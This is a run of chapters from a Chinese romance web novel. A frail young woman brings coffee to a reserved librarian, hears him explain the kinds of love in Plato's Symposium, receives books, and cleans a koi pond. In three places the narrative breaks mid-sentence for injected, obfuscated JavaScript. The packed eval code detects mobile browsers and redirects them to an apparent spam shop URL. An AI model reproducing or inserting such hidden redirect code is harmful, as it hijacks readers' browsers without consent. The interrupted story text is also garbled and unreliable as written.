《枯骨之壤[双向救赎]》 7. 榛果拿铁 陶栀子在林城的古老巷子内漫无目的穿行的时候,她总觉得自己每天去藏书阁打扰,除了蜜饯应该还要带点什么。 她判断出那人好像不爱吃甜的,但是林城当地的特色零食很多都甜口。 穿行很久,她一无所获。 她低头,看到自己的旧皮鞋承载着瘦小的双脚,在马路牙子上停住,粗壮的古树树根已经长到了路面以上,为了保护这古树的根部,城市建设将地砖撬了几块,给路面上的树根留足生长空间。 她好像时常会被这颗树挡住脚步。 上一次被树根挡住脚步的时候,她注意到路边的棕色玻璃门后的咖啡厅,内里装饰一切都是原木设计,跟她住的小木屋异曲同工,但是她少了很多有趣的装饰。 比如天花板下横亘的树枝,还有人造松鼠窝,以及用松果作为装饰的咖啡杯。 那天,她没有在咖啡店里消费任何东西,因为被菜单上的价格吓退。 她挨个闻了一整面墙的咖啡。 不买咖啡,一方面因为价格,另一方面因为…… 咖啡对于她,就像巧克力对于狗——一份心脏加速剂,足够将她的心脏剥离身体,坐上云霄飞车。 又一次鬼使神差地推开咖啡馆的玻璃门,深色原木装修下,整个午后的烈日被充足的冷气阻挡在外,她又遇到了上次的店长小姐姐。 令人意外的时候,店长很快认出了她。 陶栀子站在柜台前跟她打招呼,心有羞赧,她决心还是消费一下。 “一杯榛果拿铁,打包。” 陶栀子看了菜单许久,点了一份这样的咖啡。 她对咖啡没有研究,点它完全是因为名字里带着“榛果”,一听就是浑厚中带着坚果香的味道。 “现在客人有点多,您坐着稍等哦!” 店长笑意温柔,说普通话的时候带着和刘姨类似的吴语腔调,陶栀子很喜欢吴语区放眼很特别的短促发音,在普通话里面并不常见。 陶栀子深表理解地点点头:“没关系,我不赶时间,你们慢慢做。” 一低头,她注意到了店长的胸牌上写着名字:陈思雨。 思雨……思虑雨季。 她的思绪仿佛飘到了第一天来林城那个暴雨呼啸的夜晚。 陶栀子在高脚凳上坐不住,还是从凳子上下来,直奔那一墙的咖啡豆。 这里有着来自世界各地不同种类的豆子,有些地区的名字冷门到甚至没有对应的中文。 她打开玻璃罐子,俯身凑近,去闻那浓重的咖啡味。 闻咖啡味的快乐大概在于,那苦涩并非千篇一律,她可以从咖啡中捕捉到各种各样的味道,比如木香,果香……但是她最爱坚果香,各种各样的坚果香。 包装好的咖啡豆上面会有气孔,是单向排气,但是陶栀子另做他用。 用手轻轻一捏,咖啡豆包装上的气孔往外吹气,恰好是被密封后来自世界各地的气息。 鼻子浅嗅,有种环游世界的窃喜感。 制作咖啡的过程,不长也不短,足够让她刚好将那一墙的咖啡豆挨个闻了个遍。 店长陈思雨在柜台后注意到陶栀子的动作,便等她闻完最后一种咖啡后,自动回到座位,才帮陶栀子打包。 “您是住在附近吗?” 陈思雨跟她攀谈起来。 陶栀子不假思索地点点头,“暂时来旅游的。” 陈思雨帮她贴心在打包袋里放了两块焦糖饼干,陶栀子见状,已经在心里预测出了什么。 “这附近的酒店可都不便宜,寸土寸金的地。” 陈思雨在咖啡店里,这些年遇到过形形色色的客人,对于熟客和生客一眼就能判断出来。 陶栀子说:“确实,不过比较幸运,我找的那间民宿环境很好,价格也不错,只是平时帮忙干点杂活,非常轻松。” 听到这里,陈思雨恍然大悟,颇感意外道: “你是住在七号公馆里的那个木屋吧,要我说,刘姨是个大好人,这间小木屋在网上都是网红地点,需要抽奖的,你是那千分之一的幸运儿。” 陈思雨的热情让人觉得亲和。 陶栀子回想起当时找房的场景,很多细节都记得不全了,不过她当时只是随手报名,结果幸运恰好降临了而已。 她在接过陈思雨递来的纸袋,伸手感受了一下咖啡的温度,若有所思。 不幸了多年,好运气攒着,可能这次算刚好凑够好运吧。 付钱的时候,陶栀子发现价格比菜单上便宜了一些,便奇怪地问道:“这是……打了八折吗?” 陈思雨从收银台抬头跟她说:“当然啊,七号公馆的工作人员和房客到这里都会打折的。” 陶栀子疑惑道:“这是有什么说法吗?” “这是江先生名下的店。” 听到这句解释后,一切便瞬间明了。 她又一次在陌生人口中听到“江先生”,总觉这个人好像无处不在,又好像不存在。 “你见过江先生吗?” 陶栀子临走前随口问了一句。 陈思雨摇摇头:“跟我对接的一直都是里面管财务的老张,刘姨偶尔也来看看,但是听说江先生早些年一直忙于事业,直到近两年才回七号公馆定居的。” “但是这些大人物的事,当然也不是我能过问的。” 陶栀子深表同意,随即拎上纸袋,不想聊过头让咖啡凉了。 “我先走了,你们的咖啡豆很香,我应该很快会再来的。” 陈思雨笑容可掬:“随时欢迎。” 待陶栀子马不停蹄回到七号公馆,直奔藏书阁时,推门走了进去,才发现今日的藏书阁内空无一人。 她双眼有些黯然地看向台阶,连阅览室的灯都是暗的,只留下一片看不到头的黑色空洞。 这种安静的感觉会让人没由来有些不习惯。 她抬头看向墙壁上的古老挂钟,才发现今天是她来早了。 昨天没有事先确认好那个人上不上班,自己就直接来了,如果今天走空了没等到人,就可惜了这杯咖啡了。 日光过境,太阳从窗户这头,晒到了那头。 陶栀子在一旁的储物间里找到了一些打扫用品,用鸡毛掸子将自己能触及的地方的灰尘都清理了一遍。 顺便把角落飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460705|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进的落叶和花瓣也给清扫了一遍。 午后的炎热,无休止一般,但是藏书阁内,照常是温度稳定。 一阵从容的脚步渐近,藏书阁正门被人重新从外部打开的时候。 江述月看到人字梯上安安静静坐着一个瘦小的人影,她将双膝合拢抵在胸前,在抱着一本的书在仰头读着——安德烈·纪德的《窄门》。 她似乎爱在盛夏中穿着长衣长裤,偏好一些温柔的颜色,比如香芋紫和藕色粉…… 一双带着褶皱的小皮鞋倒是天天在穿,洁白袜子会偶尔露出一截,包裹着她细致洁白的脚踝。 长发很是细软,被一根黑色发圈松松垮垮地束在脑后,阳光恰好从窗外照在她瘦削的后背上,光线被发丝剪碎,变成肩上的金色碎片。 被在她低头翻书的时候,额间碎发垂落,带着轻盈和自然的弧度垂在她的侧脸旁。 很快一只手就会将那些垂发尽数别在耳后,秀眉微微一皱,像是极不喜欢看书的视线被碎发挡住。 江述月刚踏入室内一步,人字梯上的女子就立刻发现了他的踪迹。 她双眼亮了亮,脸上露出了大大的笑容,像是一个等待主人回家的猫咪,一开门就在门口蹲守。 谁都不知道小猫会在门口等待多久,正如陶栀子等待的时间也未知一样。 “你今天上班迟到了吧?” 陶栀子瞥了一眼时钟,有种抓包的得意感。 江述月看到时钟已经来到了四点,简短解释道:“有些事情耽误了。” “为什么坐在这里,不上去坐,灯也不开。” 他看了一眼陶栀子在人字梯上坐得自然,第一次知道人字梯这样坐看上去还挺实用。 陶栀子抿了抿唇,右手无意识地攥紧衣角:“你不来,我不敢。” 说话间,她又解释道: “我坐在这里,万一有人进来我还能打打马虎眼,要是有人真去举报你消极怠工怎么办?会扣钱吧?” 江述月径直上了台阶,一双笔直长腿被西装裤修饰得极好,身上衣物总是被打理得妥帖。 他伸手,吧嗒一声打开了全部的壁灯。 “倒没有这么严格。” 陶栀子现在的拘谨等藏书阁内重新亮起来才烟消云散,她将书合上从人字梯上走了下来,立刻转身去阴凉角落的把打包的咖啡提了上去。 她将纸袋塞到江述月面前,献宝似的带着骄傲: “给你带的咖啡,上次那家超贵咖啡。” “放心,你不喜欢甜,一点糖都没加。” “可能已经凉了,你介意吗?” 江述月下意识将纸袋接过,垂眸看了一眼,伸手将咖啡的拿到了桌上。 他凝视着咖啡杯半晌,一双眼格外平静,良久以后才缓缓说:“不介意。” 陶栀子放下心来。 意料之外的是,江述月复又问道:“你喝了吗?” 她看向咖啡杯的眼神犹豫了一瞬,摇摇头说:“我不喝。” 江述月眼神一怔,看着陶栀子真诚的双眼,眸中的底色深了几分,低声问道: “自己不喝,给我喝?” 8. 会饮篇 陶栀子从小面临过很多让人头疼的问题,从未有任何一个问题像这样令她头疼过。 无论说因为什么,都好像无法将她不喝咖啡这件事合理化。 表层原因是,咖啡太贵,她只愿意买一杯。 深层原因是,她不能喝,因为咖啡对她这个病人是很危险的饮品。 但是这样她就不得不去提及自己的秘密,这是她完全不愿意跟外人讨论的。 或者说,她不想从面前这张脸上,看到怜悯的神情。 奇怪的是,每次别人得知她的命运,似乎比她本人还要伤心很多,她到头来还要反向安慰别人。 人心,总是奇怪,又柔软。 陶栀子静静地凝视着江述月的双眼,摇摇头,脑海中念头飞快闪逝,说道: “我想让你给我多讲讲书,上次讲了《斐多》,还有没有其他的?” “你看,我还顺便帮你简单打扫了一下,帮你减轻点工作压力,这样你就能腾出时间和我说说话了。” 佯装要邀功领赏的模样,好像是她极为重要的一层面具。 这样一来,她又一次不找痕迹地规避了对某些话题的提及。 虽然她仔细观察着江述月的神情就知道,他并非注意力被轻易转移的人,只是凝眸端详了她半晌,才掠过了那个没有被陶栀子正面回答的疑问。 江述月最终将视线从陶栀子脸上移开,重新拿起那杯已经恢复到室温的咖啡。 凉掉的拿铁,奶泡早已消弭,牛奶彻底挡住了现磨咖啡豆的绝佳滋味,全无口感可言。 但是他还是拿至唇边浅啜一口。 入口,分外苦涩。 陶栀子看到他开始喝了一口,悬着的心慢慢放下,神情颇为满意。 她总是比江述月看起来高兴很多。 两人总是可以将世界切分成两半,一半天朗气清,一半层云阴霾。 “你今天想听什么?” 江述月并没有喝很多,声音没有掺杂杂志,仿佛在咖啡因的作用下少了几分疲惫,尽管他的情绪色彩依旧是浅淡的。 “我能自己拿来给你看吗?” 她礼貌地询问道。 江述月每次看到她这些谨小慎微的模样,都带着轻微的叹息,再点点头。 也不知道他是情愿还是不情愿。 陶栀子能明确的一件事是,他应当只是不大爱说废话而已。 接到江述月的回应后,她立刻从木质台阶上走了下去,一双软底皮鞋在开心激动的心情之下无意间发出了噔噔噔的响声。 但是走了没几步,她似乎察觉到自己发出了噪音,便放慢步伐轻声像小猫一样下去。 这一切传入江述月的耳朵里,他转过视线从楼上看去。 那个身影远远看去也格外娇小,她上人字梯的动作相当轻松。 像是早就瞅准了那本书的位置一样,往上爬几步就精准伸手够到。 她取到书之后,乐滋滋地抱在怀里,用最快的速度上了楼梯。 “是这本。” 江述月接过,径直坐在了皮革沙发上,他虽然整个人带着慵懒和淡漠,但是从来不曾歪歪扭扭地坐沙发,将书放在宽大的手掌下,他看了一眼封面,便心下了然。 陶栀子在一旁努力调整着呼吸,她的情绪波动很大,加之刚才上楼有点走得太快,尽然已经有很轻的缺氧感。 呼吸粗重了几分。 江述月的听觉似乎极为敏感,看向陶栀子,问道:“你很累吗?” 陶栀子一边压下自己的呼吸声,一边坐在身后的沙发上,并且下意识地往远离江述月的方向挪了几分,否认道: “不累,一点都不累。” 她用意志力安抚着自己敏感的心脏,好在江述月收回视线,继续翻看那书,应该是在组织语言。 这给陶栀子留足了充分自我调整的机会,裤子口袋里的小药瓶,被她无声地握在手心,蓄势待发。 好在那药最终没有用武之地。 陶栀子平复后,抬头张望着眼前一切。 空寂的建筑内,在江述月的身后,众多的书籍充斥着好几层楼,密密麻麻,整齐有序。 她望着群书,群书亦望着她,庄严地,如同诸神的俯视。 但是江述月的面容却如此镇定自若,好像没有任何一种力量能撼动他内心半点,群书的傲慢,被他不着痕迹地挡在了身后。 这个地方,要是没有江述月的存在,陶栀子是有些害怕的。 “准备好了?” 江述月合上书,重新看向陶栀子。 正好是陶栀子正在思考的书籍与人的哲学问题的时候。 “嗯,好了。” 她起身,坐在了江述月面前不远处的蒲团上,看上去想个乖巧地等着上课的学生。 她挑选的书,正是英文版的柏拉图《会饮篇》。 “上次说的《斐多篇》,主题是‘灵魂不朽’和死亡态度,是苏格拉底生命的最后一天,而这本《会饮篇》则是《斐多》之前的时间线,描述一场雅典的宴会,宴会上众人围绕‘爱’来展开的一场讨论。” 当江述月开始讲书的时候,他的那双如静湖一样眼眸会注视着她,说连贯而富有逻辑的话,会让他的声线不像平日那样硬朗,连眉眼和精致的五官都因声线而显得柔和起来。 在他有质感的嗓音中,他的表述带着谦逊,全无半点外放卖弄之意,将听者无意间放在了绝对的平等位置。 陶栀子总觉得他这样的状态,倒是比平时让人赏心悦目得多。 关于爱的话题,听上去没有《斐多》那么严肃。 “‘爱’这个概念,好像很宽泛,他们讨论的是哪种爱?” 陶栀子被他那双眼看得久了,总觉得对方的眼睛仿佛是一面镜子,将她的内心一览无余。 她略微侧目,也不知道是心虚还是惭愧,下意识避开了他的视线。 “古希腊将爱进行了分类,一种是Eros,情yu之爱,指激情之爱,是爱最初的模样,跟身体上的吸引力有关,《会饮篇》讨论的这种追究美丽和愉悦的爱。” 江述月的这个人,眼神很是正派,哪怕提及Eros,也无半点狎昵之感,秉持着严谨得态度去精准解释而已。 陶栀子点点头,比了个手势,利落答道:“明白!” “还有一种叫Philia,友谊之爱,基于互相尊重,共同的价值观和兴趣,存在于朋友之间,也是雅典城邦之内所说的团结爱。” 他接着抛出了第二个概念。 陶栀子听到这里,像是感同身受般认真地点头,甚至对这句话做出了反馈。 “你我之间,是不是就类似Philia?” 这句话有些出乎预料,江述月即将要说的话忽然断了节奏。 坐在蒲团上的陶栀子,不带一丝杂念地看着他,耐心等待着他的回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460706|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喉结上下微动,眼睫无声翕动,说道:“是的。” 小姑娘的嘴角又重新露出笑容,笑容总是来得轻易。 短暂的沉默之后,江述月继续说: “还有Agape,无条件的爱,与精神或宗|教的爱有关,被认为是最高形式的爱,它不受情yu或个人利益的驱动,而是出于无私的关怀和牺牲。可以表示神对人类的爱,也可以是人类的无条件的爱。” 在第三种爱的面前,陶栀子沉默了,她没有任何想要发表的看法,这第三种爱像是陡然间唤醒她内心的渴慕。 越是渴望且视为珍宝的东西,越难以说出口。 好像她对第三种爱Agape,总有羡慕的份。 她本身并不相信Agape存在于她的生活中,以至于她更倾向于一种“交换”,比如给很多人送去小礼物,表达心意。 这样她才能心安理得地接受他人的善意。 她的行动,在无私之爱Agape的面前,显得格外渺小。 “第四种爱,是Ludus,童趣之爱,以玩乐和享受为基础的爱,比较轻松而愉快。” 江述月话音刚落,陶栀子便又来了精神。 “童趣之爱,我比较喜欢这个。”她愉悦地说道。 “最后一种Se,家人之爱,家人之间的自然之爱,一种与血缘、家庭纽带和自然情感有关的爱。温暖的、持久的,并且往往不需要付出特别的努力就会自然存在。” 最后一种爱的面前,陶栀子眼神晦暗下来,她一切的情绪有时候轻易写在脸上,有时候又讳莫如深。 最后一种爱,她连渴望都算不上,只有无尽的失望。 她早已将最后一种家人之爱排除在外。 “嗯,劳烦你解释了,我明白了。” 陶栀子又开始下意识地客套。 江述月对此倒也有些见惯不怪了。 “在这场宴会上,有不同身份的人阐释他们对爱,也就是Eros的理解。” “斐德罗作为第一位演讲者,从神话角度讨论爱,称爱为最古老的神灵之一,并且认为爱能激发人在战争中英勇奋战,甚至为所爱的人献身。” 陶栀子沉吟一阵说:“听起来有点超乎了Eros的范畴,但是又没有达到Agape(无私之爱)的程度。” “它可成为爱的灰度光谱上的一个点。” 江述月为她造就了一个所谓的“灰度光谱”,这令她的话找到了某个支点。 陶栀子心里有点发暖,像是心脏去温泉池里偷偷泡了个澡。 “帕萨尼亚斯将爱分为两种类型——“普通之爱”和“高贵之爱”。普通之爱是基于rou|体欲望的爱,而高贵之爱则是基于精神和智力的追求。” 江述月像是想到了什么,停顿了一下,视线微滞,良久后才继续说: “厄克西马库斯作为一位医生,从医学和自然哲学的角度来看待爱,认为爱不仅存在于人类的情感中,而且存在于整个宇宙和自然界中。作为一种和谐的力量,使身体和灵魂、自然界和人类社会处于平衡之中。” “阿里斯托芬以神话的形式讲述,人类曾经是圆形的、具有四只手四只脚的“整体人”,但后来被宙斯劈为两半。这导致每个人都在寻找自己的“另一半”以恢复完整。因此,爱就是寻找我们失去的另一半,以恢复原本的完整状态。象征着爱的结合是对完整性的追求。” 9. 执念 听到古希腊神话中关于人寻找另一半的说法,陶栀子静默一瞬,才浅笑起来。 “这个说法很有想象力,在神话里人为了将自己复原完整而寻找原本丢失的另一半,像是一个圆滚滚的球劈成的两半,直到找到对方的时候才能滚动。” “不过放在现代语境下,我认为一个人也是完整的,独行于世间,孤独地来又孤独地死,其他人都变成了过客,不断地相逢和告别。” “好像一些短暂的相遇也挺好的。” 她笑容灿然,看向了江述月,好像意有所指。 江述月对自己最后一句话毫无防备,一时间也注意到陶栀子的目光。 他不像陶栀子一样喜形于色,他从不回避他人的凝视,墨色浓重的眼,是旁人看不懂的底色。 陶栀子不奢求自己真的能读懂什么。 空气停滞了很短的瞬间。 他抬手拿起纸杯,喝了很小一口,小到陶栀子在一旁甚至不确定他是否真的喝了。 江述月的语气难得轻缓:“……挺好。” 话音落下后,他继续说道: “阿伽通是一位诗人,他认为爱是美的本质,具有智慧和德性,是完美的理想。” 将阿伽通的说法简短带过之后,这场雅典宴会才真正迎来了苏格拉底的说法。 “接下来轮到苏格拉底发言了,他引用了一个女性智者——狄俄提玛(Diotima)的教导,提出了一种更高层次的爱——爱智之爱(爱智慧,哲学)。” “狄俄提玛的理论指出,爱是追求美与智慧的途径,它从对身体的爱开始,但最终应该超越身体,追求灵魂和心灵的美,甚至追求‘美本身’。这种美本身是永恒不变的。” 听到这里,陶栀子没来得及寻到江述月的气口,不忍直接打断,她只是沉默地举起了手。 江述月停下,看向陶栀子,耐心地等待她说话。 “这次苏格拉底描述爱,是不是有点像Agape(无私之爱)了?” 她从刚才知道Agape(无私之爱)这个概念之后,对这个概念有别样的执着。 那可是世上最高层次的爱啊! 陶栀子在蒲垫上换了个更舒服的姿势,合拢双膝,被她的手臂环抱着。 有种取暖感,她似乎极爱这个坐姿。 坐在人字梯上捧着书看的时候也是这样。 “苏格拉底描述爱,和Agape确实有一定相似的特征,从Eros开始,人们因外表之美而被吸引,随着了解的深入,这份原始的身体之爱开始发生变化。” “从单一的美之欣赏,逐步提升到对精神美、智慧,还有抽象‘美本身’的追求。” “藉由苏格拉底的发言,‘爱的阶梯’的概念产生,Eros的产生比作阶梯的起点,当人踏上阶梯,逐步往上走,将经历不同的更高层次的爱,最后,爱达顶点,成为灵魂之爱。” 最后,江述月话音落下,陶栀子却迟迟没有说话。 她若有所思,一呼一吸间,好像过敏的牙齿,被凉风一吹,麻麻的,有些发酸。 她看向江述月的眼神,带着茫然,好像这份来自古希腊的爱的描述,一度让她觉得遥远到连灵魂脱离躯壳的时候都无法抵达。 那些哲学里的含义,似乎一开始就将终极之爱放在了寻常人无法触及的地方。 “你好像对爱有很多理解。”陶栀子的眼神有些缥缈。 江述月将书随手放在了桌上,咖啡杯的旁边。 他不似陶栀子的茫然,但是也低声说: “我也无法理解《会饮篇》里的提到的爱,我明白亲情之爱,友情之爱,童趣之爱,但是Eros和Agape,我的认知只停留在表层,那些文字描述中。” 陶栀子认真听着他的叙述,知道他在保持着在真理面前的敬畏和谦逊。 她任由自己在记忆里找寻,才发现这是江述月第一次用在“你我”为主语的语境下说出这样的话。 毕竟江述月平时好像并不热衷闲聊。 陶栀子耸耸肩,无所谓地说:“巧了,我也不懂,甚至我连亲情之爱也不懂。” 没等江述月说话,她指了指桌上的咖啡。 “今天的咖啡送对了,我觉得物超所值。” 她缓缓站起身,一步步走向栏杆扶手处,将双手轻轻搭上,从楼上去看远处的木质窗棂。 阳光在夜幕降临之前,会由金色变成橘红色,还是枫叶给天空拢上的一层滤镜。 在错目之际,她好像有种江述月不经意弯了嘴角的错觉。 待她看完那窗棂下的橘红光影才完成心理建设,想去探寻那短暂的一瞬,是不是自己错觉。 当她重新看向江述月的时候,他已经起身,走向了一旁的储物间暗门,里面储存着很多未拆封的书。 陶栀子在远处瞥见他背影遮挡下的储物间一角。 她竟然有些喜欢他背对着自己的场景,她可以对内心不加任何修饰,就这么直白地注视着。 当此刻陶栀子注意到江述月背影的硬朗线条时,再加上宽肩窄腰,一个将简单衬衫和西装裤穿出绝佳气质的人,轻易在脑海中联系到“美之欣赏”这个词。 如果有一日,她因一个人卓越的外表而产生欣赏,这是不是就是最原始的Eros。 但是陶栀子又在心里否认了,因为江述月除了那副外表以外,还有他的言谈举止,和他用一双严谨的眼睛,对听者讲述的模样。 他皮囊下如黑匣子一样的大脑,远胜皮相。 不一会儿,江述月从储藏室走了出来,回身将门把手重新带上。 这时陶栀子才看到,他手上多了几本未拆封的书。 随着江述月向自己走来,陶栀子直觉大动,僵在了原地。 “这是《斐多篇》和《会饮篇》的中文版,你应该会喜欢。” “《斐多》的中文版封面没有《苏格拉底之死》的油画,所以我再送你一本英文版。” 熟悉的声音,与熟悉的书,一同到来。 陶栀子低头,看着这三本书在江述月的手中如此轻巧。 但是她知道它们加起来是如何沉甸甸。 沉重得可以随时将她虚构的世界压到崩塌。 藏书阁内的空气像果冻一样静止,而后又在江述月很淡的气息中,重新开始流动。 陶栀子能捕捉到庭院内吹来草木万物的气息。 她再也想不起上一次收到礼物是几岁了,她幼时的记忆总是断断续续的,像是大脑为了保护她而不令她主动想起。 她孑然一身地来到林城,两个蛇皮袋里只装了几套换洗的旧衣,剩下的一袋是她当做礼物送人的安州蜜饯。 蜜饯会全数送人,旧衣扔掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460707|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好。 她本不对这优美的世界有执念。 但是这些书籍……好像即将能成为她在世上的执念。 收下它们,她那早已给殡仪馆准备好的遗书里,应该今晚就要额外添上一句话。 「您好,如果方便的话,可以将遗物中的三本书烧给我好吗,谢谢您。」 想到这里,陶栀子重新露出了笑容,仰头看着面前的江述月,说话声带着动容: “谢谢你,我会好好珍藏的。” 不知是不是她的表述过于沉重和正式,她又一次看出了江述月眼中细微的意外。 但是这反应再正常不过,因为他们之间拥有截然不同的成长经历。 她永远不会穿上江述月的衬衫和西裤,正如江述月永远不会穿上她的旧皮鞋一样。 他们二人永远感知不到对方的痛苦。 江述月不知陶栀子笑容背后的每一瞬都是诀别,陶栀子不知道江述月为什么总是对世界充满冷淡。 今天直到傍晚,陶栀子才起身离开,江述月一如既往和她一起从阅览室下来。 起先陶栀子认为这也许不是送别,但是次数多了之后,她才迟钝地意识到。 江述月在送她出门。 抵达门口时,陶栀子犹豫了一阵,才不好意思地问道: “我最近一直过来,会打扰你工作吗?” “不会。” 收到这个回答,陶栀子才暗自松了口气。 走了几步,她发现空气有些发冷,停住脚步的看了眼天气,发现那方才夕阳下的橘红日光早已不复存在。 “又有下暴雨的迹象了,那我明天稍微晚点来。” 江述月问了句:“为什么?” “因为暴雨会把脏物冲进池塘,我明天要多花些时间的去清理。” 说话间,陶栀子想起公馆内不止一个池塘,便顺带补充道: “我说的是后院那个有锦鲤的池塘,一群来自新泻的鱼,很脆弱,需要很仔细的照料。” 她压低声音轻声吐槽: “那一池塘的锦鲤应该不是江先生的宝贝疙瘩,因为他从来没去看过他的鱼。” 江述月简短说道:“他可能对什么都不在意。” “真的吗?怪不得我一直觉得他神神秘秘的,大家口中都经常提及江先生,但是公馆的场地,在推理小说里面都是案件高发处,一些众人口中的大人物,极有可能是一种集体的意识错觉而已。” “当然,这是我开的脑洞而已,你别当真。” 江述月听到这番独白,嘴角略微动了一下,说道:“他不是什么大人物。” 陶栀子说:“坐拥七号公馆如果还不是大人物的话,我确实想象不出什么是大人物了的。” 江述月的语气略显无情:“继承来的而已,算不上人物。” 陶栀子对他的犀利话语而大为震惊,总觉得他不想是会狠下心吐槽别人的人。 她环视周围没人,才放下心来,轻声道: “好歹也算你的现任东家,也是我的大房东。” 江述月低头看着陶栀子小心谨慎的模样,表情有些松动,嘴角露出一个无奈的微表情,没有继续言语。 今天挥手作别的时候,陶栀子将书紧紧拥在怀里,腾出手跟江述月作别。 很开心的是,江述月终于冲她挥手了。 10. 喂水母 果真被陶栀子说准了,这夜暴雨漫天。 大家总说林城的风是妖风,江南一带,天气呈现温婉性格,可里林城像个傲娇大小姐,安静的时候端庄有力,发狂起来,便是连桌子带人都要掀掉的程度。 陶栀子在阳台上的屋檐下,暴雨被狂风带到了面前,雨水扑来,恰好浇湿她的小腿。 她总是将室内打扫得很干净,为了方便自己可以赤足在室内行走。 尤其是木头房子,赤足行走并不会冰凉彻骨。 对于陶栀子来说,只有当脚上没有鞋子的时候,才觉得双脚踏到了实地。 人心时而可信时而不可信,但是脚下的大地总是一成不变,让她觉得格外可靠。 刘姨未雨绸缪安排人提前将池塘盖了起来,可总归不是密封的,一晚上的落入吹进池塘里很多树叶和泥沙。 由于公馆内刚好公休,只留下少部分值班的人,于是整个公馆内比平时安静更多,连人影都很少看到。 陶栀子在想,既然是公休日,那昨天她和藏书阁那人说今天见面岂不是不可实现。 按理说图书管理员不算是厨师和管家这样需要每天上班的,他应该也是属于公休名单里的人。 恰好今天没人帮忙,只有陶栀子一个人穿着装备清理池塘,再加上她干活一阵就要及时休息,一个池塘慢悠悠打扫到了下午。 昨夜暴雨过后,云层退散,加上空气中还未流失的湿气,下午太阳直射过来的时候,陶栀子中场休息的时候便找了出廊道悠哉坐着休息。 她原本还在思考要不要下午去藏书阁多少看一眼,毕竟她也不知道他们算约好还是没约好。 每次的相见都更像是陶栀子单方面约好,但是每次那个人恰好都在。 可惜没能留个联系方式什么的,兴许还不用跑一趟。 她一面想着,一面摇晃着加了冰的柠檬水,就着吸管喝了一口。 余光却瞥见廊道尽头处出现了一个身影,步履款款,逆着光。 待陶栀子看清来人是谁之后,口中的酸涩触及黏膜,刺激到口腔,害得她连连咳嗽起来,赶紧放下水杯。 “你怎么自己找到这里来了?” 陶栀子下意识担心他今日是串岗还是正常休息。 江述月从台阶下走来,将目光投向池塘的方向。 “来看看鱼。” 陶栀子昨日傍晚刚说他对自己的锦鲤不伤心,他今天便来看看。 “我还没清理完毕,等我弄完你再去看比较好。” 陶栀子站起身,轻轻拍了拍身上的饼干碎屑——刚才带来补充能量的葱味苏打饼干。 “我要去干活了,你坐这里歇着吧,记得吃饼干。” 她将拆开了吃了半包的饼干熟络地往江述月怀里一塞,将头发解下,把挡眼的碎发重新盘起,避免影响视线。 也不知道从什么时候养成的默契,陶栀子往他怀里塞的东西,从未有一次没被他接住过。 以至于陶栀子总想给他怀里塞点什么,以验证这到底是巧合还是默契。 她看着那个绿色葱香饼干包装落在那只骨感白皙的手上,眼底露出了笑容,朗声招呼他坐下: “那里有干净杯子,和我泡的柠檬水,你自己倒吧。” 反正大家都是熟人,陶栀子也不给他整那套假客气了。 语毕,她重新穿上手套和雨鞋,一步步在装备的束缚下略显笨拙地向池塘走去。 午后池塘周围的阳光最是毒辣,但是晒到她苍白的脸色却能让脸色微微发红,但是稍不留神就变回白色。 或许不是因为生病的原因,而是她努力多次没能让自己的肤色看起来像个正常人。 她小心翼翼地避开鱼,穿着塑料高筒雨鞋进入池塘,踩在湿滑的鹅卵石上,戴着手套的手在水底下若有所思地摸索。 表层漂浮物已经清理完毕,她进入池塘是为了将沉底的污物人工掏出。 她摸索一阵后,直起腰,发现自己忘记把垃圾桶拖到岸边了,这样只能上岸再跑一趟。 一阵杂音之后,江述月帮她将橙色垃圾桶直接提了过来。 陶栀子微微一愣,两手抓着有点发腥的水草有点不知所措。 “扔进来。”江述月站在岸边,跟她说道。 “你避开,免得扔到你身上。”她心疼地看了一眼江述月身上料子名贵的衬衫,更多是心疼这件衣服。 “没关系。” 江述月显然不能避开,因为他需要扶着垃圾桶倾倒一定的角度,这样陶栀子才能精准地扔进去。 陶栀子将清理好的水草扔进去,不过恰好每次她的扔得很准,完美避开了他的衣服。 等陶栀子回到岸上的时候,正看到江述月将自己左手腕上的一根手串摘下放在了一边的石头上。 她无意间说了一句:“那手串看着应该是个老物件,紫檀木的?” “沉香木,是……”江述月一时语塞,斟酌着该不该说,但是当他看到面前的明眸时,才补充道,“母亲的遗物。” 陶栀子一时间深感遗憾,眼神开始闪烁起来,比以往任何时候都失措,也不知作何表情,只得提醒说: “这么珍贵的东西放得离池塘远一些吧,免得沾了水。” 凡是关于他人父母和生死的话题,她都不知道该如何说出恰当的话。 唯一只能从实用角度做出一些提醒,她不是不能共情于他人的亲情,只是每次共情完她需要很久的时间将自己关在屋子里将那些情绪慢慢吞咽。 久而久之,她意识到共情的代价是巨大的。 